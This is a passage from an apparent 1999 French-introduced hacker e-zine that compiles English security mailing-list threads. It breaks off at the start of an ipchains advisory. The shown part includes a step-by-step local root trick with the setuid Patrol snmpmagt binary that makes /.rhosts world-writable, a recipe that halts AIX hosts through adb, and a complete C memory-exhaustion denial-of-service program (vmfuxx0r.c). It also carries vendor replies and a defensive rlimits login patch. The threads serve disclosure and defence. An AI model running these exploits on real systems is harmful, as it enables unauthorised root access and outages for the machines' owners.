[mise en page : gedit]



						    ssssss
	Uuu  uu					  ss 	   		 	 	 nnnn    nnnn
	 uuu  uu				    sssssss	 		   nn  nnn nnn  nnn
	  uuu  uu   uu		 		 	  sss		 		 nnn	  nnn
	   UUU  uu uu			   ss    sss	   			  nnn	   nnn
	    Uuuuuuuunderground		sssssecurity				nnn		nnnews 

Is a work from OrganiKs corp, by TbH...


.. Introduction ..
Voici un nouveau emag dont le concept pourra en tonner certain... Il ne s'agit pas ici de rassembler des textes franais qui bien souvent sont des traductions de textes anglais dj existant. Non, il faudra pour lire la suite avoir de solide base en anglais, puisque tout sera en anglais... 
En contre partie cette slction offre un niveau lev que l'on ne retrouvait plus dans les zines franais.
Bien que Organiks le zine semble remonter le niveau au niveau francophone...
Pour la plus part ces textes dates des deux derniers mois. Des bugs relativement rcents sont donc dcris ici. Mais plus encore que les bugs, on retrouvera bien souvent des sources qui pourront aider certains dvellopeurs dans leur problmes habituels... Ces textes proviennent bien entendu de news groups, et ont t tris et slctionns par moi mme.
 
Bienvenu  la Poste :)))...


.. Disclaimer ..
L'application des informations par des lecteurs (ventuels) ne sont pas de la responsabilit des differents auteurs, et en particulier de moi mme qui les ai regroups pour le plaisir de la curiosit.

.. Sommaire ..
Les titres donnes aux articles sont ceux donns en subject par les auteurs.
Tous les titres, suivis d'un * dans le sommaire, sont suivit de rponses.
Vous retrouverez dans la section "Others", des petits trucs qui ne dpendent pas de systme ou alors
de systmes minoritaires par rapport au rseau. Ainsi les annonces de programmes ou les notions qui 
peuvent etre appliquer a differents systeme sont regroup la...

~~~~~~~~~~~~~~~~~
Unix & Unixlike :
~~~~~~~~~~~~~~~~~
1.1-: Root Perms Gained with Patrol SNMP Agent 3.2 .								*
1.2-: aix 4.2 4.3.1, adb.															*
1.3-: Bug in Axent 5.0.
1.4-: Shared memory DoS's.
1.5-: Linux 2.2.10 ipchains Advisory.
1.6-: Possible Denial Of Service using DNS.											*
1.7-: to prevert port scanning in linux 2.0.x.
1.8-: World writable root owned script in SalesBuilder (RedHat 6.0).
1.9-: Linux blind TCP spoofing, act II + others.									*
1.10-: Gnumeric potential security hole.
1.11-: Paranoid? Running SSHD as normal users.										*
1.12-: Remote DoS of WebTrends Enterprise Reporting Server
1.13-: Severe bug in cfingerd before 1.4.0
1.14-: serious problem in netbsd/openbsd procfs/fdesc
1.15-: Solaris rpcbind tricks.
1.16-: local libtermcap exploit.
1.17-: portmap.c Trojan.
1.18-: Cisco Security Notice: CiscoSecure Access Control Server for UNIX Remote 
Administration Vulnerability							   									
1.19-:  [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc
 / glibc 2.0.x																		*
1.20-: Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 					*
1.21-: [EuroHaCk] stealth-code (fwd).
1.22-: Security Bug in Oracle.
1.23-: BASS diffs
1.24-: FreeBSD (and other BSDs?) local root exploit
1.25-: libtermcap xterm exploit
1.26-: ProFTPD 
1.27-: AIX security summary
1.28-: Get paste kppp *'s 															*
1.29-: ISS Security Advisory: Additional Root Compromise Vulnerabilities in 
Oracle 8
1.30-: 4.4 BSD issue -- chflags

~~~~~~~~~~~~~~~
Windows 9x/NT :
~~~~~~~~~~~~~~~
2.1-: About IGMP and another exploit for Windows95x/98x.
2.2-: more detail and summary of kod.c (igmp bug for windows).
2.3-: ISS Security Advisory: Denial of Service Attack Against Windows NT 
Terminal Server.																	*
2.4-: telnet.exe heap overflow - remotely exploitable 								*
2.5-: IIS 4.0 remote DoS (MS99-029).												*
2.6-: FW: DCOM attack against NT using VB6
2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4   	*

~~~~~~~~
Novell :
~~~~~~~~
3.1-: NMRC Advisory: Netware 5 Client Hijacking.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Others (IRC, MacOS, Confrences, etc) :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4.1-: MacOS system encryption algorithm.
4.2-: Sane 2000 (confrence).
4.3-: ToorCon (confrence).
4.4-: ircd exploit in ircu based code.												*	
4.5-: IRC: Exploit for a Bug in ircd2.10.x (qident).							    *
4.6-: L0pht Heavy Industries - AntiSniff.
4.7-: All Hail The AntiAntiSniffer Sniffer!.
4.8-: L0pht ICMP Router Discovery Advisory.
4.9-: AOL Buffer Overflow???.
4.10-: Update on the AOL buffer overflow exploit 
4.11-: ISS Security Advisory: Buffer Overflow in Netscape Enterprise and
FastTrack Web Servers







~~~~~~~~~~~~~~~~~
Unix & Unixlike :
~~~~~~~~~~~~~~~~~



_________________________________________________________________________________________________________
1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ... (begin) :
===============================================================


Problem in Patrol 3.2
---------------------

vendor:
Copyright 1993-97 BMC Software, Inc.

how bad:
local root/denial of service

example:

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al snmpmagt
-rwsr-xr-x   1 root       users       185461 Mar  6  1998 snmpmagt*

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
/.rhosts not found

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> umask 0

(first argument must be either an invalid config file or a file that doesn't
exist)
maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> snmpmagt yoyoyo /.rhosts
yoyoyo: No such file or directory
snmp bind failure: Address already in use
/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin/snmpmagt: error processing
configuration

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
-rw-rw-rw-   1 root       users          770 Jul 13 14:42 .rhosts


note: if the file exists it keeps the same perms, otherwise creates it
with perms based on your umask and chown's to whoever owns the parent
directory of the file you're creating. if the file exists it overwrites it
with "i^A" then the result of gethostname() and some whitespace. this
problem is not platform dependent and was tested based on out of box
install on an HP.

- aalness@gti.net
_________________________________________________________________________________________________________
1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ; rponse (1/2) :
_________________________________________________________________________________________________________

I tested the boxes I have under my command for this prob, and got the
following results:

AIX 4.2.1 -     running Patrol 3.1 (AIX3.2-RS) -      doesnt have snmpmagt.
AIX 4.2.1 -     running Patrol 3.22 (AIX4.1-RS) -     file created.
Solaris 2.5.1 - running Patrol 3.2 (Solaris25-sun4) - file created.
HP-UX 10.01  -  running Patrol 3.2 (HPUX-PA1.1-V10) - file created.

> note: if the file exists it keeps the same perms, otherwise creates it
> with perms based on your umask and chown's to whoever owns the parent
> directory of the file you're creating. if the file exists it overwrites it
> with "i^A" then the result of gethostname() and some whitespace. this
> problem is not platform dependent and was tested based on out of box
> install on an HP.

Hmmmmm - I cant seem to replicate the directory-owner prob.  It seems to me
that snmpmagt creates the desired file with the owner set to the same as
the owner of snmpmagt.  Here's a quick test I ran:

"
root@fish # pwd
/export/home/patrol/PATROL3.2/Solaris25-sun4/bin
root@fish # ls -al ./snmpmagt
-rwsr-xr-x   1 root     staff     120364 Aug 26  1997 ./snmpmagt
root@fish # mkdir /symon/patroltest
root@fish # chmod 777 /symon/patroltest
root@fish # ls -al /symon | egrep "patroltest"
drwxrwxrwx   2 root     other        512 Jul 15 11:39 patroltest
root@fish # umask 0
root@fish # ./snmpmagt cheese.cheese /symon/patroltest/cheese
cheese.cheese: No such file or directory
smux bind failure: Address already in use
./snmpmagt: error processing configuration
root@fish # ls -al /symon/patroltest/cheese
-rw-rw-rw-   1 root     other        770 Jul 15 11:40 /symon/patroltest/cheese
root@fish # chown patrol ./snmpmagt
root@fish # ./snmpmagt cheese.cheese /symon/patroltest/cheese.2
cheese.cheese: No such file or directory
snmp bind failure: Permission denied
smux bind failure: Permission denied
./snmpmagt: error processing configuration
root@fish # ls -al /symon/patroltest
total 8
drwxrwxrwx   2 root     other        512 Jul 15 11:41 .
drwxr-xr-x   5 root     other       1024 Jul 15 11:39 ..
-rw-rw-rw-   1 root     other        770 Jul 15 11:40 cheese
-rw-rw-rw-   1 patrol   other        770 Jul 15 11:41 cheese.2
"

- Symon Aked (symon at start dot com dot au)...
_________________________________________________________________________________________________________
1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ; rponse (2/2) :
_________________________________________________________________________________________________________

FYI:

Also works on:

SunOS name1 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-5_10

and

OSF1 name2 V4.0 878 alpha

Running Patrol SNMP Agent 3.2.5

============================================================
1.1-:Root Perms Gained with Patrol SNMP Agent 3.2 ... (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.2-:aix 4.2 4.3.1, adb (begin):
================================

Hi,

Local users can halt the operating system by 'adb' command under my AIX
box.

Here's a simple C program:
main()
{
        int i;
        for ( i = 0; i < 10; i++ )
        {
        }

        return 0;
}

I compiled the program and run 'adb':
$ cc -g -o a.out a.c
$ adb a.out -
adb
.main,5:s
a.out: running

Now host halted. AIX 4.2(IBM RS/6000 F50) and AIX 4.3.1(IBM RS/6000 S70)
have 'adb' problem. But AIX 4.3.2 haven't the 'adb' problem. I have tested
it under my AIX box. Is it bug of AIX 4.2, 4.3.1?

GZ Apple                         mailto:gzapple@21cn.com

_________________________________________________________________________________________________________
1.2-:aix 4.2 4.3.1, adb ; rponse (1/2) :
_________________________________________________________________________________________________________


Just for confirmation:
I tried this on my AIX 4.3.1 box (IBM RS/6000 F50, 1x332Mhz CPU, 128Mb RAM),
and it does work.
As the machine did halt, it displayed "888 102 300 0c0" at the front LCD.

You could also recive this data throu the service processor by choosing:
3 - System Information
  4 - Read Service Processor Error Logs

The output I got from this was "<DATE> 1. OS termination string received -
888 102 300 0c0"

A search for this sequence in the IBM APAR database showed that the macine
hanged with a DSI (Data Storage Interrupt). Only god knows what IBM means
with that.
This is the output of the error reporting program:

bash-2.01# errpt -a -l329
---------------------------------------------------------------------------
LABEL:          SCANOUT
IDENTIFIER:     CF8CADB6

Date/Time:       tis jul 13 10.15.41
Sequence Number: 329
Machine Id:      0041072A4C00
Node Id:         <Insert_machine_name_here>
Class:           H
Type:            PERM
Resource Name:   sysplanar0
Resource Class:  planar
Resource Type:   sysplanar_rspc
Location:        00-00

Description
SYSTEM FAILURE WITH SCAN DATA

Probable Causes
SYSTEM HARDWARE
SOFTWARE ERROR

Failure Causes
SYSTEM HARDWARE
SOFTWARE SUBSYSTEM

        Recommended Actions
        PERFORM PROBLEM DETERMINATION PROCEDURES
        IF PROBLEM CONTINUES TO OCCUR REPEATEDLY THEN DO THE FOLLOWING
        CONTACT APPROPRIATE SERVICE REPRESENTATIVE

Detail Data
ERROR COUNT
           1
SCAN DATA PATHNAME
/usr/lib/ras/checkstop.0041072A4C00.A


This was all the information that I could find. I'm now of to upgrade my AIX
version level

My best regards,
Peter Fredriksson
Systems administrator
Skriptor AB
email - Peter.Fredriksson@Skriptor.com
Phone: +46 8-441 77 30
Fax: +46 8-698 09 09

_________________________________________________________________________________________________________
1.2-:aix 4.2 4.3.1, adb ; rponse (2/2):
_________________________________________________________________________________________________________


Quoting GZ Apple (gzapple@21cn.com):
>
> Local users can halt the operating system by 'adb' command under my AIX
> box.
>

This affects AIX 4.2.x and 4.3.x (including 4.3.2).  We're still working
on the official fix, but here's an excerpt from the soon-to-be-released
advisory.

Any questions regarding this vulnerability or other AIX security holes
can be sent to security-alert@austin.ibm.com.

--------------------   8<   --------------------

    A temporary fix is available via anonymous ftp from:

       ftp://aix.software.ibm.com/aix/efixes/security/adb_hang.tar.Z

    Filename                 sum              md5
    ======================================================================
    unix_mp.42.adb_hang_fix  00772  2693  960214a1945f2c70311283adc0b231a3
    unix_mp.43.adb_hang_fix  15044  3302  584d1c5ea0223110e2d8eba84388f526


    This temporary fix has not been fully regression tested.  The fix
    consists of a multiprocessor kernel which can be used on either a
    uniprocessor or multiprocessor machine.  There may be a slight
    performance penalty when using a multiprocessor kernel on a
    uniprocessor machine.

    Use the following steps (as root) to install the temporary fix:

    1.  Determine the version of the kernel fileset on your machine.

        # lslpp -l <fileset>

        If the version of the kernel fileset for your machine is not at
        the level described below, install the requisite APAR listed.
        This will help ensure that the temporary kernel fix will run
        properly.

        Release        Fileset            Version        requisite APAR
        ===============================================================
        AIX 4.2.x      bos.mp or bos.up   4.2.1.23       IY00689
        AIX 4.3.x      bos.mp or bos.up   4.3.2.8        IY00727

    2. Uncompress and extract the fix.

        # uncompress < adb_hang.tar.Z | tar xf -
        # cd adb_hang

    3. Review and run the adb_hang.sh script to install the new kernel.

          # view ./adb_hang.sh
          # ./adb_hang.sh

    4. Reboot.


--
Troy Bollinger                            troy@austin.ibm.com
AIX Security Development        security-alert@austin.ibm.com
PGP keyid: 1024/0xB7783129 Troy's opinions are not IBM policy

-Rponse :

On Mon, 12 Jul 1999, GZ Apple wrote:

> Local users can halt the operating system by 'adb' command under my AIX
> box.
>
> Now host halted. AIX 4.2(IBM RS/6000 F50) and AIX 4.3.1(IBM RS/6000 S70)
> have 'adb' problem. But AIX 4.3.2 haven't the 'adb' problem. I have tested
> it under my AIX box. Is it bug of AIX 4.2, 4.3.1?

AIX 4.3.2 has the problem too if you have the bos.adt.debug fileset
installed.

# which adb
/usr/bin/adb
# lslpp -w /usr/bin/adb
  File                                        Fileset               Type
----------------------------------------------------------------------------
  /usr/bin/adb                                bos.adt.debug         File

mga.
--
Mike Austin                           Computing & Information Technology
Systems Programmer                    The University of Vermont
AIX/DCE Sys Admin                     802-656-8785


==============================
1.2-:aix 4.2 4.3.1, adb (End):
_________________________________________________________________________________________________________





________________________________________________________________________________________________________
1.3-:Bug in Axent 5.0 (begin) :
===============================

Bug in Axent 5.0 for Unix
Bugtraq ID 518

This information was forwarded to Security Focus.

 Certain checks within Axent's ESM 5.0 for Unix may prevent legitimate
 users from logging on to scanned hosts.

 Specifically, four checks within the security auditing program may cause
 this denial of service:

 * Check PATH using 'su'
 * Check PATH by modifying startup script
 * Check umask using 'su'
 * Check umask by modifying startup script

 These checks are not enabled in the default policy templates.

 When ESM is checking PATH (or umask) values, it will 'su' to the user's
 account. If the user's script calls a menu function, ESM will not respond
 and the check will hang. To overcome this problem, ESM copies the
 startup script to the /tmp directory, adds additional values to the end of
 the script, and copies the script back to the user's directory. The new
 values in the script will echo the PATH and umask values to a file called
 .esmvalues in the user's home directory the next time the user logs in.
 When ESM is run again, it will read the contents of .esmvalues to
 determine the PATH and umask values. This procedure eliminates the
 problems associated with 'su'ing to the account and hanging on a menu
 call.

 Unfortunately, when ESM copies the file to /tmp, file ownership and
 permissions are changed to 'root'. When the file is copied back to the
 user's directory, only root has access - legitimate users will not be
 able to execute their login script.

 This bug should be fixed in the upcoming 5.0.1 release.

--
Elias Levy
Security Focus
http://www.securityfocus.com/

_________________________________________________________________________________________________________
1.3-:Bug in Axent 5.0 ; rponse (1/1) :
_________________________________________________________________________________________________________

AXENT appreciates the opportunity to respond to the issues raised with this
posting.  The first statement indicates that users cannot log into scanned
hosts.  This is not true--users can log in, but they will not be able to
access their startup scripts.  This bug constitutes more of an inconvenience
to the user, than a security threat.

The bug was discovered a short time ago and there is a current procedure for
correcting the ownership of files that may have been affected.  Currently
there is a newer version of the affected usrfiles module that does not
change the ownership of the startup scripts. This procedure and/or the
updated module can be obtained by contacting AXENT support.  This version of
the usrfiles module is also included in the August HotFix for ESM that
customers can remotely install on all systems.  The hot fix is only needed
for ESM 5.0 UNIX agents. Earlier versions of ESM agents do not have this
problem.  The fix will also be included in the upcoming ESM 5.0.1 release.

As was indicated in the original posting, this check was not turned on by
default and most ESM 5.0 customers have probably not used it.   If you
desire the procedure to correct the affected files or the updated module,
please contact AXENT support at  support@axent.com
<mailto:support@axent.com>  .

Thank you,

Steve Jackson
ESM Technical Product Manager

=============================
1.3-:Bug in Axent 5.0 (End) :
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.4-:Shared memory DoS's (begin):
=================================

Hello, sorry if it's considered poor form to cross post to both bugtraq and a
development list, but I'm too lazy to fire off two emails.

While fiddling with various IPC mechanisms and reading The Design and
Implementation of 4.4BSD (What a book!), a few things struch me as potentially
dangerous. According to the book, when you request a shared memory segment via
mmap(), the file isn't actually physically in memory until you start to
trigger page faults and cause the vnode-pager to page in the data from the
file.

Then, the following passage from shmctl(2) under Linux caught my eye:
"The user must ensure that a segment is eventually destroyed; otherwise  its 
pages
that were faulted in will remain in memory or swap."

So as it turns out that it is in fact possible to create a DoS condition by
requesting a truckload of shared mem, then triggering pagefaults in the entire
shared region.

Now the end result is no different than a simple fork or malloc bomb, but it is
considerably harder to prevent on most systems.

This is mainly because:

  1. The system does not check rlimits for mmap and shmget (FreeBSD)
  2. The system never bothers to offer the ability to set the rlimits for
     virtual memory via shells, login process, or otherwise. (Linux)
  3. b. The system does not actually allocate shared memory until a page
        fault is triggered (this could be argued to be a feature - Linux, *BSD)
     a. The system does not watch to make sure you don't share more memory
        than exists. (Linux, Irix, BSD?)
  4. With System V IPC, shared memory persists even after the process is
     gone. So even though the kernel may kill the process after it exhausts
     all memory from page faults, there still is 0 memory left for the system.
     I suppose with some trickery you might be able to achieve the same results
     by shared mmap()'ing a few large files between pairs of processes. (All)

I've attached a program that will exploit these conditions using either
shmget(), mmap(), or by getting malloc to mmap() (those are in order of
effectivness).

This program should compile on any architecture. SGI Irix is not vulnerable.
Reading The Design and Implementation of 4.4BSD, it sounds as if the BSDs
should all be vulnerable. FreeBSD will mmap as much memory as you tell it.
I haven't tried page faulting the memory, as the system is not mine.
I'd be very interested to hear about OpenBSD...

Also attached is a patch to util-linux-2.9o login.c (and pathnames.h) that
provides a means under Linux (should be pretty portable to other OS's) to set
limits for the address space limit (RLIMIT_AS: the rlimit that controls how
much data you can actually map into your process). The patch is based on an old
program called lshell that set limits by wrapping your shell (I've found that
wrapping the shell in this way caused all sorts of problems with gdb, for some
reason).

sample /etc/limits file:

# Limit the user guest to 5 minutes CPU time and 8 procs, 5Mb address space
guest C5P8V5D2
# 60 min's CPU time, 30 procs, 15Mb data, 50 megs total address space, 5 megs
# stack, 15 megs of RSS.
default C60P30D15V50S5R15

At the very least, I recommend default V<size of physical memory>.
You can use lowercase letters for the next lowest order of magnitude of units.
The comment in the patch explains it in further detail.

Note even in this case, a determined user can probably just login a dozen or
so times and use SysV IPC to steal the system memory. Core wars, anyone? :)

P.S. Util-linux people: I also suspect a small memory leak due to the
strdup(hostname) provided by Ambrose C. Li.

--
Mike Perry
Proud user of both PGP 2.6.3i and GNU Privacy guard.
Considering overthrowing any governments? Count me in!
http://mikepery.linuxos.org/keys.html

_________________________________________________________________________________________________________
1.4-:Shared memory DoS's ; Attachd (1/2) : vmfuxx0r.c :
_________________________________________________________________________________________________________
/*
 * This program can be used to exploit DoS bugs in the VM systems or utility
 * sets of certain OS's.
 *
 * Common problems:
 * 1. The system does not check rlimits for mmap and shmget (FreeBSD)
 * 2. The system never bothers to offer the ability to set the rlimits for
 *    virtual memory via shells, login process, or otherwise. (Linux)
 * 3. b. The system does not actually allocate shared memory until a page fault
 *       is triggered (this could be argued to be a feature - Linux, *BSD)
 *    a. The system does not watch to make sure you don't share more memory
 *       than exists. (Linux, Irix, BSD?)
 * 4. With System V IPC, shared memory persists even after the process is
 *    gone. So even though the kernel may kill the process after it exhausts all
 *    memory from page faults, there still is 0 memory left for the system.
 *    (All)
 *
 * This program should compile on any architecture. SGI Irix is not
 * vulnerable. From reading The Design and Implementation of 4.4BSD it sounds
 * as if the BSDs should all be vulnerable. FreeBSD will mmap as much memory
 * as you tell it. I haven't tried page faulting the memory, as the system is
 * not mine. I'd be very interested to hear about OpenBSD...
 *
 * This program is provided for vulnerability evaluation ONLY. DoS's aren't
 * cool, funny, or anything else. Don't use this on a machine that isn't
 * yours!!!
 */
#include <stdio.h>
#include <errno.h>
#include <sys/ipc.h>
#include <sys/shm.h> /* redefinition of LBA.. PAGE_SIZE in both cases.. */
#ifdef __linux__
#include <asm/shmparam.h>
#include <asm/page.h>
#endif
#include <sys/types.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <sys/mman.h>

int len;

#define __FUXX0R_MMAP__

/* mmap also implements the copy-on-fault mechanism, but because the only way
 * to easily exploit this is to use anonymous mappings, once the kernel kills
 * the offending process, you can recover. (Although swap death may still
 * occurr */
/* #define __FUXX0R_MMAP__ */

/* Most mallocs use mmap to allocate large regions of memory. */
/* #define __FUXX0R_MMAP_MALLOC__ */


/* Guess what this option does :) */
#define __REALLY_FUXX0R__

/* From glibc 2.1.1 malloc/malloc.c */
#define DEFAULT_MMAP_THRESHOLD (128 * 1024)

#ifndef PAGE_SIZE
# define PAGE_SIZE 4096
#endif

#ifndef SHMSEG
# define SHMSEG 256
#endif

#if defined(__FUXX0R_MMAP_MALLOC__)
void *mymalloc(int n)
{
    if(n <= DEFAULT_MMAP_THRESHOLD)
        n = DEFAULT_MMAP_THRESHOLD + 1;
    return malloc(n);
}

void myfree(void *buf)
{
    free(buf);
}
#elif defined(__FUXX0R_MMAP__)
void *mymalloc(int n)
{
    int fd;
    void *ret;
    fd = open("/dev/zero", O_RDWR);
    ret = mmap(0, n, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    close(fd);
    return (ret == (void *)-1 ? NULL : ret);
}
void myfree(void *buf)
{
    munmap(buf, len);
}

#elif defined(__FUXX0R_SYSV__)
void *mymalloc(int n)
{
    char *buf;
    static int i = 0;
    int shmid;
    i++; /* 0 is IPC_PRIVATE */
    if((shmid = shmget(i, n, IPC_CREAT | SHM_R | SHM_W)) == -1)
    {
#if defined(__irix__)
        if (shmctl (shmid, IPC_RMID, NULL))
        {
            perror("shmctl");
        }
#endif

        return NULL;
    }
    if((buf = shmat(shmid, 0, 0)) == (char *)-1)
    {
#if defined(__irix__)
        if (shmctl (shmid, IPC_RMID, NULL))
        {
            perror("shmctl");
        }
#endif
        return NULL;
    }

#ifndef __REALLY_FUXX0R__
    if (shmctl (shmid, IPC_RMID, NULL))
    {
        perror("shmctl");
    }
#endif

    return buf;
}

void myfree(void *buf)
{
    shmdt(buf);
}
#endif

#ifdef __linux__
void cleanSysV()
{
    struct shmid_ds shmid;
    struct shm_info shm_info;
    int id;
    int maxid;
    int ret;
    int shid;
    maxid = shmctl (0, SHM_INFO, (struct shmid_ds *) &shm_info);
    printf("maxid %d\n", maxid);
    for (id = 0; id <= maxid; id++)
    {
        if((shid = shmctl (id, SHM_STAT, &shmid)) < 0)
            continue;

        if (shmctl (shid, IPC_RMID, NULL))
        {
            perror("shmctl");
        }
        printf("id %d has %d attachments\n", shid, shmid.shm_nattch);
        shmid.shm_nattch = 0;
        shmctl(shid, IPC_SET, &shmid);
        if(shmctl(shid, SHM_STAT, &shmid) < 0)
        {
            printf("id %d deleted sucessfully\n", shid);
        }
        else if(shmid.shm_nattch == 0)
        {
            printf("Still able to stat id %d, but has no attachments\n", shid);
        }
        else
        {
            printf("Error, failed to remove id %d!\n", shid);
        }

    }
}
#endif

int main(int argc, char **argv)
{
    int shmid;
    int i = 0;
    char *buf[SHMSEG * 2];
    int max;
    int offset;
    if(argc < 2)
    {
        printf("Usage: %s <[0x]size of segments>\n", argv[0]);
#ifdef __linux__
        printf("    or %s --clean (destroys all of IPC space you have permissions to)\n", argv[0]);
#endif
        exit(0);
    }

#ifdef __linux__
    if(!strcmp(argv[1], "--clean"))
    {
        cleanSysV();
        exit(0);
    }
#endif

    len = strtol(argv[1], NULL, 0);
    for(buf[i] = mymalloc(len); i < SHMSEG * 2 && buf[i] != NULL; buf[++i] = mymalloc(len))
        ;

    max = i;
    perror("Stopped because");
    printf("Maxed out at %d %d byte segments\n", max, len);
#if defined(__FUXX0R_SYSV__) && defined(SHMMNI)
    printf("Despite an alleged max of %d (%d per proc) %d byte segs. (Page "
            "size: %d), \n", SHMMNI, SHMSEG, SHMMAX,  PAGE_SIZE);
#endif

#ifdef __REALLY_FUXX0R__
    fprintf(stderr, "Page faulting alloced region... Have a nice life!\n");
    for(i = 0; i < max; i++)
    {
        for(offset = 0; offset < len; offset += PAGE_SIZE)
        {
            buf[i][offset] = '*';
        }
        printf("wrote to %d byes of memory, final offset %d\n", len, offset);
    }
    // never reached :(
#else
    for(i = 0; i <= max; i++)
    {
        myfree(buf[i]);
    }
#endif
    exit(42);
}

________________________________________________________________________________________________________
1.4-:Shared memory DoS's ; Attached : Login.patch :
________________________________________________________________________________________________________

diff -ur ./util-linux-2.9o/lib/pathnames.h ./util-linux-2.9o-mp/lib/pathnames.h
--- ./util-linux-2.9o/lib/pathnames.h   Sun Oct 11 14:19:16 1998
+++ ./util-linux-2.9o-mp/lib/pathnames.h        Wed Jul 14 22:51:13 1999
@@ -86,6 +86,7 @@

 #define _PATH_SECURE           "/etc/securesingle"
 #define _PATH_USERTTY           "/etc/usertty"
+#define _PATH_LIMITS           "/etc/limits"

 #define _PATH_MTAB             "/etc/mtab"
 #define _PATH_UMOUNT           "/bin/umount"
diff -ur ./util-linux-2.9o/login-utils/login.c ./util-linux-2.9o-mp/login-utils/login.c
--- ./util-linux-2.9o/login-utils/login.c       Sat Mar 20 14:20:16 1999
+++ ./util-linux-2.9o-mp/login-utils/login.c    Wed Jul 14 22:49:24 1999
@@ -185,6 +185,7 @@
 char *stypeof P_((char *ttyid));
 void checktty P_((char *user, char *tty, struct passwd *pwd));
 void sleepexit P_((int eval));
+void setup_limits P_(struct passwd *pwd);
 #ifdef CRYPTOCARD
 int cryptocard P_((void));
 #endif
@@ -1110,6 +1111,8 @@

     childArgv[childArgc++] = NULL;

+    setup_limits(pwd);
+
     execvp(childArgv[0], childArgv + 1);

     if (!strcmp(childArgv[0], "/bin/sh"))
@@ -1120,6 +1123,161 @@

     exit(0);
 }
+
+/* Most of this code ripped from lshell by Joel Katz */
+void process(char *buf)
+{
+    /* buf is of the form [Fn][Pn][Ct][Vm][Sm][Rm][Lm][Dm] where */
+    /* F specifies n max open files */
+    /* P specifies n max procs */
+    /* c specifies t seconds of cpu */
+    /* C specifies t minutes of cpu */
+    /* v specifies m kbs of total virtual memory (address space) */
+    /* V specifies m megs of total virtual memory (address space) */
+    /* s specifies m kbs of stack */
+    /* S specifies m megs of stack */
+    /* r specifies m kbs of RSS */
+    /* R specifies m megs of RSS */
+    /* l specifies m kbs of locked (non-swappable) memory */
+    /* L specifies m megs of locked (non-swappable) memory */
+    /* d specifies m kbs of Data segment */
+    /* D specifies m megs of Data segment */
+
+    struct rlimit rlim;
+    char *pp = buf;
+    int i;
+
+    while(*pp!=0)
+    {
+       i = 1;
+       switch(*pp++)
+       {
+           case 'f':
+           case 'F':
+               i = atoi(pp);
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+               setrlimit(RLIMIT_NOFILE, &rlim);
+               break;
+           case 'p':
+           case 'P':
+               i = atoi(pp);
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+               setrlimit(RLIMIT_NPROC, &rlim);
+               break;
+           case 'C':
+               i = 60;
+           case 'c':
+               i *= atoi(pp);
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+               setrlimit(RLIMIT_CPU, &rlim);
+               break;
+           case 'V':
+               i = 1024;
+           case 'v':
+               i *= atoi(pp)*1024;
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+#if defined(RLIMIT_AS) /* Linux */
+               setrlimit(RLIMIT_AS, &rlim);
+#else if defined(RLIMIT_VMEM) /* Irix */
+               setrlimit(RLIMIT_VMEM, &rlim);
+#endif
+               break;
+           case 'S':
+               i = 1024;
+           case 's':
+               i *= atoi(pp)*1024;
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+               setrlimit(RLIMIT_STACK, &rlim);
+               break;
+           case 'R':
+               i = 1024;
+           case 'r':
+               i *= atoi(pp)*1024;
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+               setrlimit(RLIMIT_RSS, &rlim);
+               break;
+           case 'L':
+               i = 1024;
+           case 'l':
+               i *= atoi(pp)*1024;
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+               setrlimit(RLIMIT_MEMLOCK, &rlim);
+               break;
+           case 'D':
+               i = 1024;
+           case 'd':
+               i *= atoi(pp)*1024;
+               if(!i)
+                   break;
+               rlim.rlim_cur = i;
+               rlim.rlim_max = i;
+               setrlimit(RLIMIT_DATA, &rlim);
+               break;
+       }
+    }
+}
+
+void setup_limits(struct passwd *pw)
+{
+    FILE *fp;
+    int i;
+    char buf[200], name[20], limits[64];
+    char *p;
+
+    if(pw->pw_uid == 0)
+    {
+       return;
+    }
+
+    if((fp = fopen(_PATH_LIMITS,"r")) == NULL)
+    {
+       return;
+    }
+
+    while(fgets(buf, 200, fp) != NULL)
+    {
+       if(buf[0] == '#')
+           continue;
+
+       p = strchr(buf, '#');
+       if(p)
+           *p = 0;
+
+       i=sscanf(buf, "%s %s", name, limits);
+
+       if(!strcmp(name, pw->pw_name))
+       {
+           if(i==2)
+               process(limits);
+           fclose(fp);
+           return;
+       }
+    }
+    fclose(fp);
+    process(limits); /* Last line is default */
+}
+

 void
 getloginname()
 
================================ 
1.4-:Shared memory DoS's (End) : 
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.5-:Linux 2.2.10 ipchains Advisory (begin):
============================================

Linux ipchains Firewall Vulnerability
data protect GmbH - Advisory #2
July 27, 1999

Authors: Thomas Lopatic <tl@dataprotect.com>
         John McDonald  <jm@dataprotect.com>

Overview
--------

data protect has discovered a potential vulnerability in the Linux ipchains
